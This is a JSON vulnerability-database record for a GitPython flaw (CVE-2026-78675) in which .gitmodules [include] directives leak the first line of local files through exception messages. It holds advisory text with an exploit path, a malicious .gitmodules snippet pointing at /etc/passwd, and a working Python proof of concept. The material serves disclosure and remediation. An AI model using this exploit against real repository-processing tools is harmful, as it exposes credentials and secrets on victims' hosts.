{"id":"CVE-2026-78675","aliases":["ALPINE-CVE-2026-78675","CLSA-2026-1789368141","DEBIAN-CVE-2026-78675","EUVD-2026-65221","GHSA-7833-fr7j-v32q","GHSA-crmc-f4m7-33fj","OESA-2026-3699","OESA-2026-3700","OESA-2026-3721","PYSEC-2026-3785","ROOT-APP-PYPI-CVE-2026-78675","ROOT-APP-PYPI-GHSA-crmc-f4m7-33fj","SUSE-SU-2026:4072-1","openSUSE-SU-2026:21874-1"],"status":"published","title":"GitPython before 3.1.59 Local File Content Disclosure via .gitmodules","description":"GitPython before 3.1.59 fails to disable merge_includes when parsing .gitmodules, allowing attackers to disclose local file content by including arbitrary file paths via [include] directives. Attackers can craft a malicious .gitmodules file with include directives pointing to sensitive files; when repo.submodules is accessed, GitConfigParser raises MissingSectionHeaderError embedding the target file's first line verbatim in the exception message.","severity":{"version":"4.0","score":8.6,"vector":"CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","level":"high","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-11","score":0.00178,"percentile":0.07433,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-200","CWE-73"],"published":"2026-08-25T01:30:32Z","modified":"2026-11-03T06:32:58Z","fixes":[{"ecosystem":"PyPI","package":"gitpython","fixed_in":["3.1.59"],"sources":["ghsa","osv"]},{"ecosystem":"Alpine:v3.24","package":"py3-gitpython","fixed_in":["3.1.61-r0"],"sources":["osv"]},{"ecosystem":"Debian:12","package":"python-git","fixed_in":["3.1.30-1+deb12u3"],"sources":["osv"]},{"ecosystem":"Debian:13","package":"python-git","fixed_in":["3.1.44-1+deb13u1"],"sources":["osv"]},{"ecosystem":"Debian:14","package":"python-git","fixed_in":["3.1.61-1"],"sources":["osv"]},{"ecosystem":"Root:PyPI","package":"gitpython","fixed_in":["3.1.47+aikido.3"],"sources":["osv"]},{"ecosystem":"Root:PyPI","package":"GitPython","fixed_in":["3.1.47+aikido.9","3.1.46+aikido.12","3.1.58+aikido.3","3.1.46+aikido.13","3.1.47+aikido.8","3.1.58+aikido.1","3.1.58+aikido.2","3.1.46+aikido.11"],"sources":["osv"]}],"affected":[{"source":"ghsa","ecosystem":"PyPI","package":"gitpython","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"3.1.58"},{"fixed":"3.1.59"}]}]},{"source":"osv","ecosystem":"Alpine:v3.24","package":"py3-gitpython","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.1.61-r0"}]}]},{"source":"osv","ecosystem":"TuxCare:PyPI","package":"gitpython","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"3.1.31"},{"fixed":"3.1.31.post12+tuxcare"}]}],"versions":["3.1.31","3.1.31.post1+tuxcare","3.1.31.post10+tuxcare","3.1.31.post11+tuxcare","3.1.31.post2+tuxcare","3.1.31.post3+tuxcare","3.1.31.post4+tuxcare","3.1.31.post5+tuxcare","3.1.31.post6+tuxcare","3.1.31.post7+tuxcare","3.1.31.post8+tuxcare","3.1.31.post9+tuxcare"],"bundled":5},{"source":"osv","ecosystem":"Debian:12","package":"python-git","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.1.30-1+deb12u3"}]}],"versions":["3.1.30-1","3.1.30-1+deb12u2"]},{"source":"osv","ecosystem":"Debian:13","package":"python-git","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.1.44-1+deb13u1"}]}],"versions":["3.1.44-1"]},{"source":"osv","ecosystem":"Debian:14","package":"python-git","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.1.61-1"}]}],"versions":["3.1.44-1","3.1.45-1","3.1.46-1","3.1.50-1"]},{"source":"osv","ecosystem":"PyPI","package":"gitpython","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.1.59"}]}],"versions":["0.1.7","0.2.0-beta1","0.3.0-beta1","0.3.0-beta2","0.3.1-beta2","0.3.2","0.3.2.1","0.3.2.RC1","0.3.3","0.3.4","0.3.5","0.3.6","0.3.7","1.0.0","1.0.1","1.0.2","2.0.0","2.0.1","2.0.2","2.0.3","2.0.4","2.0.5","2.0.6","2.0.7","2.0.8","2.0.9","2.0.9.dev0","2.0.9.dev1","2.1.0","2.1.1","2.1.10","2.1.11","2.1.12","2.1.13","2.1.14","2.1.15","2.1.2","2.1.3","2.1.4","2.1.5","2.1.6","2.1.7","2.1.8","2.1.9","3.0.0","3.0.1","3.0.2","3.0.3","3.0.4","3.0.5","3.0.6","3.0.7","3.0.8","3.0.9","3.1.0","3.1.1","3.1.10","3.1.11","3.1.12","3.1.13","3.1.14","3.1.15","3.1.16","3.1.17","3.1.18","3.1.19","3.1.2","3.1.20","3.1.22","3.1.23","3.1.24","3.1.25","3.1.26","3.1.27","3.1.28","3.1.29","3.1.3","3.1.30","3.1.31","3.1.32","3.1.33","3.1.34","3.1.35","3.1.36","3.1.37","3.1.38","3.1.4","3.1.40","3.1.41","3.1.42","3.1.43","3.1.44","3.1.45","3.1.46","3.1.47","3.1.48","3.1.49","3.1.5","3.1.50","3.1.51","3.1.52","3.1.53","3.1.54","3.1.55","3.1.56","3.1.57","3.1.58","3.1.6","3.1.7","3.1.8","3.1.9"]},{"source":"osv","ecosystem":"openEuler:24.03-LTS-SP1","package":"python-GitPython","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.1.59-1.oe2403sp1"}]}],"bundled":17},{"source":"osv","ecosystem":"openEuler:24.03-LTS-SP3","package":"python-GitPython","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.1.59-1.oe2403sp3"}]}],"bundled":17},{"source":"osv","ecosystem":"openEuler:24.03-LTS-SP4","package":"python-GitPython","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.1.59-1.oe2403sp4"}]}],"bundled":17},{"source":"osv","ecosystem":"PyPI","package":"gitpython","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.1.59"}]}],"versions":["0.1.7","0.2.0-beta1","0.3.0-beta1","0.3.0-beta2","0.3.1-beta2","0.3.2","0.3.2.1","0.3.2.RC1","0.3.3","0.3.4","0.3.5","0.3.6","0.3.7","1.0.0","1.0.1","1.0.2","2.0.0","2.0.1","2.0.2","2.0.3","2.0.4","2.0.5","2.0.6","2.0.7","2.0.8","2.0.9","2.0.9.dev0","2.0.9.dev1","2.1.0","2.1.1","2.1.10","2.1.11","2.1.12","2.1.13","2.1.14","2.1.15","2.1.2","2.1.3","2.1.4","2.1.5","2.1.6","2.1.7","2.1.8","2.1.9","3.0.0","3.0.1","3.0.2","3.0.3","3.0.4","3.0.5","3.0.6","3.0.7","3.0.8","3.0.9","3.1.0","3.1.1","3.1.10","3.1.11","3.1.12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Advisory","advisory","web"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-78675","tags":["advisory"]},{"url":"https://github.com/gitpython-developers/GitPython/pull/2211","tags":["web"]},{"url":"https://github.com/gitpython-developers/GitPython/commit/ef7568e3b317ce617eacda39b8b54dcdff8c3b5c","tags":["web"]},{"url":"https://github.com/gitpython-developers/GitPython/releases/tag/3.1.59","tags":["web"]},{"url":"https://github.com/pypa/advisory-database/tree/main/vulns/gitpython/PYSEC-2026-3785.yaml","tags":["web"]},{"url":"https://github.com/advisories/GHSA-7833-fr7j-v32q"},{"url":"https://github.com/advisories/GHSA-crmc-f4m7-33fj"},{"url":"https://security.alpinelinux.org/vuln/CVE-2026-78675","tags":["advisory"]},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/78xxx/CVE-2026-78675.json","tags":["advisory"]},{"url":"https://security-tracker.debian.org/tracker/CVE-2026-78675","tags":["advisory"]},{"url":"https://github.com/gitpython-developers/GitPython","tags":["package"]},{"url":"https://www.openeuler.org/zh/security/security-bulletins/detail/?id=openEuler-SA-2026-3699","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-73619","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-73620","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-73621","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-73622","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-73623","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-73624","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-73625","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-76217","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-76218","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-76219","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-76220","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-76221","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-76222","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-78676","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-78677","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-78679","tags":["advisory"]},{"url":"https://www.openeuler.org/zh/security/security-bulletins/detail/?id=openEuler-SA-2026-3700","tags":["advisory"]},{"url":"https://www.openeuler.org/zh/security/security-bulletins/detail/?id=openEuler-SA-2026-3721","tags":["advisory"]},{"url":"https://www.suse.com/support/update/announcement/2026/suse-su-20264072-1/","tags":["advisory"]},{"url":"https://bugzilla.suse.com/1264604","tags":["report"]},{"url":"https://bugzilla.suse.com/1264605","tags":["report"]},{"url":"https://bugzilla.suse.com/1264606","tags":["report"]},{"url":"https://bugzilla.suse.com/1264608","tags":["report"]},{"url":"https://bugzilla.suse.com/1273357","tags":["report"]},{"url":"https://bugzilla.suse.com/1273358","tags":["report"]},{"url":"https://bugzilla.suse.com/1273359","tags":["report"]},{"url":"https://bugzilla.suse.com/1273364","tags":["report"]},{"url":"https://bugzilla.suse.com/1273414","tags":["report"]},{"url":"https://bugzilla.suse.com/1273498","tags":["report"]},{"url":"https://bugzilla.suse.com/1275745","tags":["report"]},{"url":"https://bugzilla.suse.com/1275746","tags":["report"]},{"url":"https://bugzilla.suse.com/1275747","tags":["report"]},{"url":"https://bugzilla.suse.com/1275748","tags":["report"]},{"url":"https://bugzilla.suse.com/1275749","tags":["report"]},{"url":"https://bugzilla.suse.com/1275750","tags":["report"]},{"url":"https://bugzilla.suse.com/1275751","tags":["report"]},{"url":"https://bugzilla.suse.com/1275752","tags":["report"]},{"url":"https://bugzilla.suse.com/1275753","tags":["report"]},{"url":"https://bugzilla.suse.com/1275754","tags":["report"]},{"url":"https://bugzilla.suse.com/1275755","tags":["report"]},{"url":"https://bugzilla.suse.com/1275756","tags":["report"]},{"url":"https://bugzilla.suse.com/1275757","tags":["report"]},{"url":"https://bugzilla.suse.com/1276430","tags":["report"]},{"url":"https://bugzilla.suse.com/1276431","tags":["report"]},{"url":"https://bugzilla.suse.com/1276432","tags":["report"]},{"url":"https://bugzilla.suse.com/1276433","tags":["report"]},{"url":"https://bugzilla.suse.com/1276434","tags":["report"]},{"url":"https://www.suse.com/security/cve/CVE-2026-42215","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-42284","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-44243","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-44244","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-67322","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-67323","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-67325","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-67326","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-69097","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-73619","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-73620","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-73621","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-73622","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-73623","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-73624","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-73625","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-76217","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-76218","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-76219","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-76220","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-76221","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-76222","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-78675","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-78676","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-78677","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-78678","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-78679","tags":["web"]},{"url":"","tags":["advisory"]},{"url":"https://bugzilla.suse.com/1279905","tags":["report"]},{"url":"https://bugzilla.suse.com/1279906","tags":["report"]},{"url":"https://bugzilla.suse.com/1279907","tags":["report"]},{"url":"https://www.suse.com/security/cve/CVE-2026-87817","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-87818","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-87819","tags":["web"]}],"sources":{"cve":[{"id":"CVE-2026-78675","title":"GitPython before 3.1.59 Local File Content Disclosure via .gitmodules","description":"GitPython before 3.1.59 fails to disable merge_includes when parsing .gitmodules, allowing attackers to disclose local file content by including arbitrary file paths via [include] directives. Attackers can craft a malicious .gitmodules file with include directives pointing to sensitive files; when repo.submodules is accessed, GitConfigParser raises MissingSectionHeaderError embedding the target file's first line verbatim in the exception message.","status":"published","published":"2026-08-25T01:30:32.739Z","modified":"2026-10-08T15:25:07.28Z","cvss":[{"version":"4.0","score":8.6,"vector":"CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","level":"high","assessor":"cna"},{"version":"3.1","score":8.4,"vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"high","assessor":"cna"}],"cwes":["CWE-73"],"updated_at":"2026-11-02T13:34:48.658051Z"}],"euvd":[{"id":"EUVD-2026-65221","description":"GitPython before 3.1.59 fails to disable merge_includes when parsing .gitmodules, allowing attackers to disclose local file content by including arbitrary file paths via [include] directives. Attackers can craft a malicious .gitmodules file with include directives pointing to sensitive files; when repo.submodules is accessed, GitConfigParser raises MissingSectionHeaderError embedding the target file's first line verbatim in the exception message.","status":"published","published":"2026-08-25T01:30:32Z","modified":"2026-10-08T15:25:07Z","cvss":[{"version":"4.0","score":8.6,"vector":"CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","level":"high"}],"updated_at":"2026-11-02T17:27:31.218078Z"}],"ghsa":[{"id":"GHSA-7833-fr7j-v32q","title":"GitPython: Arbitrary local file content disclosure via [include] directive in untrusted .gitmodules (SubmoduleConfigParser never disables merge_includes)","description":"# [HIGH] Arbitrary local file content disclosure via `[include]` directive in untrusted `.gitmodules` (`SubmoduleConfigParser` never disables `merge_includes`)\n\n- **CWE:** CWE-200 (Exposure of Sensitive Information) / CWE-73 (External Control of File Name or Path)\n- **Affected component:** `git/objects/submodule/base.py`, `Submodule._config_parser()` (~line 273) constructing `SubmoduleConfigParser(fp_module, read_only=read_only)`; `git/config.py`, `GitConfigParser.__init__` (`merge_includes` default), `GitConfigParser.read()`/`_included_paths()` (include-path resolution, ~lines 630-685), `GitConfigParser._read()` (~line 493-498, `MissingSectionHeaderError`)\n- **Affected version:** GitPython at HEAD (`9729ed3b948f2bde09f1f188c5311e172212b67e`, 2026-08-05, VERSION `3.1.58`)\n\n## Reachability\n`GitConfigParser.__init__` defaults `merge_includes=True`: any config file it parses has its `[include]` (and, when a `repo=` is supplied, `[includeIf ...]`) directives followed and merged in. The maintainers already recognized this as dangerous for one specific case and fixed it in commit `41ecc6a4` (\"Disable merge_includes in config writers\"), which passes `merge_includes=False` when `Repo.config_writer()` builds its parser (`git/repo/base.py`).\n\nThat fix never touched `Submodule._config_parser()`. This method builds the parser used for **every** read of a repo's submodule configuration — `repo.submodules`, `Submodule.iter_items()`, `Submodule.config()` — via `SubmoduleConfigParser(fp_module, read_only=read_only)`, passing neither `merge_includes=False` nor `repo=`. The `True` class default is therefore inherited unchanged, and `fp_module` here is `.gitmodules` — **the single most attacker-controlled config file in the entire codebase**, since it ships verbatim as tracked content inside any cloned repository.\n\n`GitConfigParser.read()`'s include-path resolution (~line 662-680) performs no containment check: `osp.isabs(include_path)` short-circuits the path join entirely for an absolute path, and a relative path is joined with `osp.join(osp.dirname(file_path), include_path)` / `osp.normpath()`'d with no check that the result stays under the repository. `~` is expanded via `osp.expanduser`. The only gate before opening is `os.access(include_path, os.R_OK)` — a readability check, not a path restriction.\n\nOnce opened, `GitConfigParser._read()` parses the target file as git-config INI. If the first non-blank/non-comment line is not a `[section]` header — true of virtually any non-gitconfig file (source code, `/etc/passwd`, `.env` files, credential files, logs, JSON/YAML) — it raises `configparser.MissingSectionHeaderError(fpname, lineno, line)`. Python's stdlib formats this exception's `str()` as `\"File contains no section headers.\\nfile: %r, line: %d\\n%r\" % (fpname, lineno, line)` — it embeds the **verbatim content** of that file's first line in the exception message. `Submodule.iter_items()` catches only `(IOError, BadName)`, not `configparser.Error`, so this exception propagates straight out of the ordinary, read-only `repo.submodules` call.\n\n## Root cause\nParity gap between two config-parser construction sites for the exact same footgun: `Repo.config_writer()` was hardened against `merge_includes` in 2023 (`41ecc6a4`); `Submodule._config_parser()` — which parses `.gitmodules`, content that is *always* attacker-controlled the moment a repository is cloned from an untrusted source — was never given the same treatment. (The submodule *write*-mode config parser at `git/objects/submodule/base.py` for `.git/modules/\u003cname\u003e/config` — a different, locally-generated file — has correctly passed `merge_includes=False` since 2022, underscoring that the omission for `.gitmodules` reads looks like an oversight rather than a considered exception.)\n\n## Exploit path\n1. Attacker crafts a repository whose `.gitmodules` contains a legitimate-looking `[submodule ...]` section plus:\n   ```\n   [include]\n   \tpath = /etc/passwd\n   ```\n   (an absolute path bypasses any traversal reasoning entirely; a relative `../../../../etc/passwd`-style path works too).\n2. Victim performs the extremely common, entirely read-only operation of enumerating a cloned repo's submodules: `list(repo.submodules)` (or any `for sm in repo.submodules`) — no `update()`, `init()`, or checkout of any kind required.\n3. `SubmoduleConfigParser` (inheriting `merge_includes=True`) follows the `[include]` directive, opens `/etc/passwd`, and `GitConfigParser._read()` raises `MissingSectionHeaderError` whose message embeds `/etc/passwd`'s first line verbatim.\n4. This exception surfaces wherever the host application observes exceptions from GitPython — CI logs, error pages, exception trackers, or any dependency-scanner/code-review-bot/hosting-platform tool built on `repo.submodules` — disclosing the targeted file's first line to the attacker (directly, or indirectly via any channel that echoes the error).\n\n## Impact\nNon-blind local file content disclosure (first line) of any file readable by the victim process, triggered purely by attacker-controlled repository content and one routine, read-only GitPython call. Bounded to one line per triggering file (parsing aborts at the first `MissingSectionHeaderError`), but that line very often *is* the secret — `.env` files (`DATABASE_URL=...`, `API_KEY=...`), single-line credential/token files, `/etc/passwd`'s root entry for host fingerprinting. The primitive additionally serves as a generic error-based file-existence oracle for arbitrary host paths. This is materially stronger than the already-fixed, explicitly **blind** `GHSA-cwvm-v4w8-q58c` (\"Blind local file inclusion\", CVSS 4.0, `git/refs/symbolic.py` ref-name resolution) — that advisory's own writeup states it cannot disclose content; this one does, verbatim, via a different module (`git/config.py`'s include resolution).\n\n## Preconditions\n- Victim clones (or otherwise opens with GitPython) a repository whose `.gitmodules` is attacker-controlled — the default trust model for any tool that processes third-party repositories (dependency scanners, CI, code hosting/review bots, \"audit this repo\" utilities — exactly the class of application GitPython itself is built for).\n- Victim performs any operation that touches `repo.submodules` — one of the most ordinary GitPython operations, requiring no submodule `update`/`init`/checkout.\n- No authentication/role requirement inside GitPython itself.\n\n## Evidence\n- `git/config.py` — `GitConfigParser.__init__` defaults `merge_includes=True`.\n- `git/objects/submodule/base.py:273` — `SubmoduleConfigParser(fp_module, read_only=read_only)` passes neither `merge_includes` nor `repo=`; `git blame` shows this call unchanged since the class was introduced, and `git show 41ecc6a4` confirms that commit touched only `git/repo/base.py`'s `Repo.config_writer()`, never this call site.\n- `git/config.py` `_included_paths()`/`read()` (~630-685) — absolute include paths bypass the join/normpath entirely (`osp.isabs()` short-circuit); no repository-boundary containment check exists anywhere in this path.\n- `git/config.py` `_read()` (~493-498) — raises `cp.MissingSectionHeaderError(fpname, lineno, line)` with the raw file line embedded, matching Python stdlib `configparser`'s own `__str__` behavior.\n- `Submodule.iter_items()` catches only `(IOError, BadName)` — `configparser.Error` (the base of `MissingSectionHeaderError`) is not swallowed.\n- PoC (`gitpython-003-poc.py`, embedded below) reproduces this end-to-end against this exact checkout via the public API only (`Repo.clone_from` + `list(repo.submodules)`, default arguments, no monkeypatching), against both a throwaway secret file and `/etc/passwd`.\n\n## False-positive check (adversarial re-read)\n- **Is this the same bug as `GHSA-hmq2-w58f-27jc`?** No — that advisory is about the `.gitmodules` submodule *name* driving `_module_abspath`/`os.makedirs()` (creating a git repository/module directory outside the working tree, a write/RCE-adjacent primitive via a completely different function). This finding is about the `[include]` directive in the *same file* reaching a config-parser read primitive — a different mechanism, different function, different impact class (content disclosure, not directory creation).\n- **Is this the same bug as `GHSA-cwvm-v4w8-q58c` (blind LFI)?** No — that advisory is explicitly documented by its own reporter as content-free/blind (existence-only), and lives in `git/refs/symbolic.py`'s ref-name resolution feeding `Repo.commit`/`tree`/`index.diff` — an entirely different module and code path. This finding discloses actual file content via `git/config.py`'s include-directive resolution.\n- **Is the impact overstated given only one line leaks?** No — this is an accurate scoping caveat already reflected in the severity/impact discussion, not a reachability blocker: attacker has full control over which path is targeted (absolute paths work unconditionally), requires zero interaction beyond the single most common submodule operation, and the PoC demonstrates a real, working end-to-end disclosure through the standard `clone_from` + `list(repo.submodules)` workflow.\n- **Could the exception simply be silently swallowed by GitPython before reaching the caller?** No — confirmed by reading `Submodule.iter_items()`'s exception handling, which catches only `IOError`/`BadName`; `configparser.MissingSectionHeaderError` propagates uncaught.\n- Verdict: no concrete blocker found. **CONFIRMED** — reproduced independently against both a throwaway secret file and `/etc/passwd`.\n\n## Remediation\nPass `merge_includes=False` when constructing `SubmoduleConfigParser` in `Submodule._config_parser()` (`git/objects/submodule/base.py`), mirroring the existing fix in `Repo.config_writer()` (commit `41ecc6a4`) — `.gitmodules` content is always attacker-controlled and should never be allowed to pull in `include`/`includeIf` directives. As defense in depth, `GitConfigParser.read()`'s include-path resolution should enforce that resolved include paths stay within the repository's own directory tree, and parsing-error messages (`MissingSectionHeaderError`/`ParsingError`) should avoid embedding raw file content when parsing a file the caller did not explicitly ask to open.\n\n## Confidence\nHigh. Root cause confirmed by direct code reading across both `git/config.py` and `git/objects/submodule/base.py`, cross-checked against the fix commit that hardened the sibling code path but not this one; exploit chain reproduced independently, twice, against the current HEAD (a throwaway secret file and `/etc/passwd`).\n\n\n## Proof-of-Concept source (`gitpython-003-poc.py`)\n\n```python\n#!/usr/bin/env python3\n\"\"\"\nGITPYTHON-003 PoC: `.gitmodules` -- fully attacker-controlled content shipped\ninside a cloned repository -- can contain `[include] path = \u003cany local path\u003e`.\n`Submodule._config_parser()` builds the parser used for `repo.submodules` (and\nother submodule reads) via `SubmoduleConfigParser(fp_module, read_only=...)`\nwithout passing `merge_includes=False`, so the class default `merge_includes=True`\nis inherited. GitConfigParser then opens the target file; if it isn't valid\ngit-config syntax (true of virtually any non-gitconfig file), Python's\n`configparser.MissingSectionHeaderError` embeds the file's first line verbatim\nin its exception message, which propagates out of the ordinary, read-only\n`repo.submodules` call -- a non-blind local file content disclosure primitive.\n\nRun:\n  PYTHONPATH=\"\u003crepo\u003e:\u003crepo\u003e/gitdb:\u003crepo\u003e/smmap\" python3 gitpython-003-poc.py \u003cworkdir\u003e \u003ctarget-file\u003e\n\nBenign: reads only the given \u003ctarget-file\u003e (defaults to a throwaway secret file\ncreated under \u003cworkdir\u003e if omitted) and never writes/exfiltrates it anywhere\nexcept printing it locally to prove the primitive. No destructive action.\n\"\"\"\nimport os\nimport subprocess\nimport sys\n\n\ndef main():\n    workdir = sys.argv[1] if len(sys.argv) \u003e 1 else \"/tmp/gitpython-003-poc\"\n    target_file = sys.argv[2] if len(sys.argv) \u003e 2 else os.path.join(workdir, \"secret.txt\")\n\n    attacker_repo = os.path.join(workdir, \"attacker-repo\")\n    dest = os.path.join(workdir, \"dest\")\n    for p in (attacker_repo, dest):\n        os.makedirs(p, exist_ok=True)\n\n    if not os.path.exists(target_file):\n        os.makedirs(os.path.dirname(target_file), exist_ok=True)\n        with open(target_file, \"w\") as f:\n            f.write(\"TOP-SECRET-DB-PASSWORD=hunter2-actual-secret-value\\n\")\n\n    subprocess.run([\"git\", \"init\", \"-q\", \"-b\", \"main\", attacker_repo], check=True)\n    subprocess.run([\"git\", \"-C\", attacker_repo, \"config\", \"user.email\", \"a@example.com\"], check=True)\n    subprocess.run([\"git\", \"-C\", attacker_repo, \"config\", \"user.name\", \"Attacker\"], check=True)\n\n    with open(os.path.join(attacker_repo, \"file.txt\"), \"w\") as f:\n        f.write(\"hello\\n\")\n\n    with open(os.path.join(attacker_repo, \".gitmodules\"), \"w\") as f:\n        f.write(\n            '[submodule \"totally-normal-dep\"]\\n'\n            \"\\tpath = vendor/dep\\n\"\n            \"\\turl = https://example.com/dep.git\\n\"\n            \"[include]\\n\"\n            \"\\tpath = %s\\n\" % target_file\n        )\n\n    subprocess.run([\"git\", \"-C\", attacker_repo, \"add\", \"file.txt\", \".gitmodules\"], check=True)\n    subprocess.run([\"git\", \"-C\", attacker_repo, \"commit\", \"-q\", \"-m\", \"init\"], check=True)\n\n    import git  # gitpython under test\n    import configparser\n\n    repo = git.Repo.clone_from(attacker_repo, dest)\n\n    try:\n        subs = list(repo.submodules)\n        print(\"NOT VULNERABLE: no exception raised, submodules =\", subs)\n        sys.exit(1)\n    except configparser.MissingSectionHeaderError as e:\n        msg = str(e)\n        print(\"VULNERABLE: MissingSectionHeaderError leaked file content via repo.submodules:\")\n        print(msg)\n        with open(target_file) as f:\n            first_line = f.readline().rstrip(\"\\n\")\n        if first_line in msg:\n            print(\"Confirmed: target file's first line is present verbatim in the exception message.\")\n            sys.exit(0)\n        else:\n            print(\"NOT VULNERABLE: exception message did not contain the expected content\")\n            sys.exit(1)\n\n\nif __name__ == \"__main__\":\n    main()\n\n```","status":"published","published":"2026-09-08T18:38:51Z","modified":"2026-09-08T18:38:53Z","cvss":[{"version":"4.0","score":8.6,"vector":"CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","level":"high"},{"version":"3.1","score":8.4,"vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"high"}],"cwes":["CWE-73","CWE-200"],"updated_at":"2026-11-02T14:41:13.477974Z"},{"id":"GHSA-crmc-f4m7-33fj","title":"Duplicate Advisory: Arbitrary local file content disclosure via [include] directive in untrusted .gitmodules (SubmoduleConfigParser never disables merge_includes)","description":"## Duplicate Advisory\n\nThis advisory has been withdrawn because it is a duplicate of GHSA-7833-fr7j-v32q. This link is maintained to preserve external references.\n\n## Original Description\nGitPython before 3.1.59 fails to disable merge_includes when parsing .gitmodules, allowing attackers to disclose local file content by including arbitrary file paths via [include] directives. Attackers can craft a malicious .gitmodules file with include directives pointing to sensitive files; when repo.submodules is accessed, GitConfigParser raises MissingSectionHeaderError embedding the target file's first line verbatim in the exception message.","status":"withdrawn","published":"2026-08-25T03:32:10Z","modified":"2026-09-08T18:18:43Z","cvss":[{"version":"4.0","score":8.6,"vector":"CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","level":"high"},{"version":"3.1","score":8.4,"vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"high"}],"cwes":["CWE-73"],"updated_at":"2026-11-02T14:41:13.477974Z"}],"nvd":[{"id":"CVE-2026-78675","description":"GitPython before 3.1.59 fails to disable merge_includes when parsing .gitmodules, allowing attackers to disclose local file content by including arbitrary file paths via [include] directives. Attackers can craft a malicious .gitmodules file with include directives pointing to sensitive files; when repo.submodules is accessed, GitConfigParser raises MissingSectionHeaderError embedding the target file's first line verbatim in the exception 